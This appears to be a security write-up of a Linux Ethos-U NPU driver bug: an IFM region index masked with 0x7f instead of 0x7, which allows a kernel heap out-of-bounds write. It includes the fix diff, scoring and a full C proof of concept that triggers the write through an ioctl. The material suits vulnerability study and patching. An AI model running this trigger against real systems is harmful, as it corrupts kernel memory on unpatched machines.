# CVE-2026-53172: a 0x7f mask where every sibling used 0x7 in the Ethos-U parser

**Patch:** [00f547e0dfecf83014fb32bcba587c6b684c1362](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=00f547e0dfecf83014fb32bcba587c6b684c1362) (mainline, landed in 7.1)
**Subsystem:** accel/ethosu, Arm Ethos-U NPU driver
**Affected file:** drivers/accel/ethosu/ethosu_gem.c
**CVE record:** [CVE-2026-53172](https://www.cve.org/CVERecord?id=CVE-2026-53172)
**Introduced in:** 6.19, commit 5a5e9c0228e613f0ef2a58b9782d7c0ea8f1e58b

## The bug in one sentence

The IFM region index was masked with param & 0x7f, allowing values up to 127 into arrays sized for 8, while every other region assignment in the same switch used param & 0x7.

## A typo you can hear

This is my favorite find of the whole Ethos-U series because the inconsistency is visible the moment you line up the switch cases:

```c
case NPU_SET_OFM_REGION:    st.ofm.region         = param & 0x7;
case NPU_SET_IFM2_REGION:  st.ifm2.region        = param & 0x7;
case NPU_SET_WEIGHT_REGION: st.weight[0].region  = param & 0x7;
case NPU_SET_SCALE_REGION:  st.scale[0].region   = param & 0x7;
case NPU_SET_IFM_REGION:    st.ifm.region        = param & 0x7f;   /* the typo */
```

region_size[] and output_region[] inside struct ethosu_validated_cmdstream_info are both sized NPU_BASEP_REGION_MAX, which is 8, so valid indices run 0 through 7. The 0x7f mask lets a userspace command stream specify up to 127. Downstream, feat_matrix_length() and calc_sizes() use the region index directly as a subscript:

```c
info->region_size[fm->region] = max(...);
```

A NPU_SET_IFM_REGION command with param greater than 7 writes up to 1016 bytes past the start of region_size[] inside a kzalloc'd kernel heap object. That is a large, arithmetic-controlled heap corruption from a single mask typo.

The fix is one nibble:

```diff
 	case NPU_SET_IFM_REGION:
-		st.ifm.region = param & 0x7f;
+		st.ifm.region = param & 0x7;
```

Full patch: [00f547e0dfec](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=00f547e0dfecf83014fb32bcba587c6b684c1362)

## How to trigger it

One word. NPU_SET_IFM_REGION is opcode 0x10f, and the region index rides in the param half, so a stream consisting of exactly this word does it:

```c
unsigned int stream[] = {
    ((0x7fu << 16) | 0x10f),   /* NPU_SET_IFM_REGION, param = 0x7f = 127 */
};
/* submit via DRM_IOCTL_ETHOSU_BO_CREATE; every other region command in the
 * same switch masks param & 0x7, only IFM had & 0x7f */
```

feat_matrix_length() later does info->region_size[fm->region] with fm->region equal to 127, into an array of 8 entries. That is a write 127 * 8 = 1016 bytes past the start of region_size[] inside the kzalloc'd info struct, with the max() update deciding the offset. KASAN reports the slab write immediately. Post-fix the mask is 0x7 like every sibling case and the command is harmless. This one is my favorite of the series precisely because the entire heap corruption primitive is a single nibble of difference from the correct code.

## Score and classification, including a database blooper

* Kernel CNA (mirrored by NVD as Secondary): 7.8 HIGH, vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
* Ubuntu: priority High, CVSS v4.0 8.5
* The catch: NVD tags this one CWE-125, out-of-bounds READ, which flatly contradicts NVD's own English description of a write up to 1016 bytes past region_size[]. The CVE.org record carries no CWE at all.

If you are building tooling off NVD CWE fields, this entry is a working example of why you should not. The code writes. The honest classification is CWE-787 like its sibling CVE-2026-53173.

## Exploit code

One word is the whole weapon. The stream below is a single NPU_SET_IFM_REGION command with the index in the param half:

```c
/* ethosu_ifm_oob.c: CVE-2026-53172
 * gcc -o poc poc.c && ./poc /dev/accel/accel0
 * vulnerable kernel: write up to 1016 bytes past region_size[] in the
 * kzalloc'd ethosu_validated_cmdstream_info; fixed: region masked to 0..7
 */
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <drm/ethosu_accel.h>

int main(int argc, char **argv)
{
	/* opcode 0x10f = NPU_SET_IFM_REGION, param 0x7f = region index 127 */
	uint32_t stream[] = { (0x7fu << 16) | 0x10fu };
	struct drm_ethosu_cmdstream_bo_create args = {0};
	int fd = open(argc > 1 ? argv[1] : "/dev/accel/accel0", O_RDWR);

	if (fd < 0) { perror("open"); return 1; }
	args.size = sizeof(stream);
	args.data = (uint64_t)(uintptr_t)stream;

	printf("ret %d errno %d (%s)\n",
	       ioctl(fd, DRM_IOCTL_ETHOSU_CMDSTREAM_BO_CREATE, &args),
	       errno, strerror(errno));
	return 0;
}
```

Pre-fix, feat_matrix_length() later evaluates info->region_size[127] in an 8 entry array, so the max() store lands 127 times 8 = 1016 bytes into the heap object. KASAN flags the write on the first submission. Post-fix the mask is param & 0x7 and the command is inert. Public status: no KEV, no public PoC before this note. Introduced 6.19, fixed in 7.0.13 and 7.1; Ubuntu shipped fixes in USN-8726-1 through USN-8800-1, Debian stable never carried the driver.

## Where the fix shipped

* 7.0.13: [ee7bed779def](https://git.kernel.org/stable/c/ee7bed779def61ebff1b92b0e851f412176fa416)
* 7.1: [00f547e0dfec](https://git.kernel.org/stable/c/00f547e0dfecf83014fb32bcba587c6b684c1362)

## References

1. [Upstream commit 00f547e0dfec](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=00f547e0dfecf83014fb32bcba587c6b684c1362)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026062552-CVE-2026-53172-11a3@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-53172)
4. [Ubuntu tracker](https://ubuntu.com/security/CVE-2026-53172)
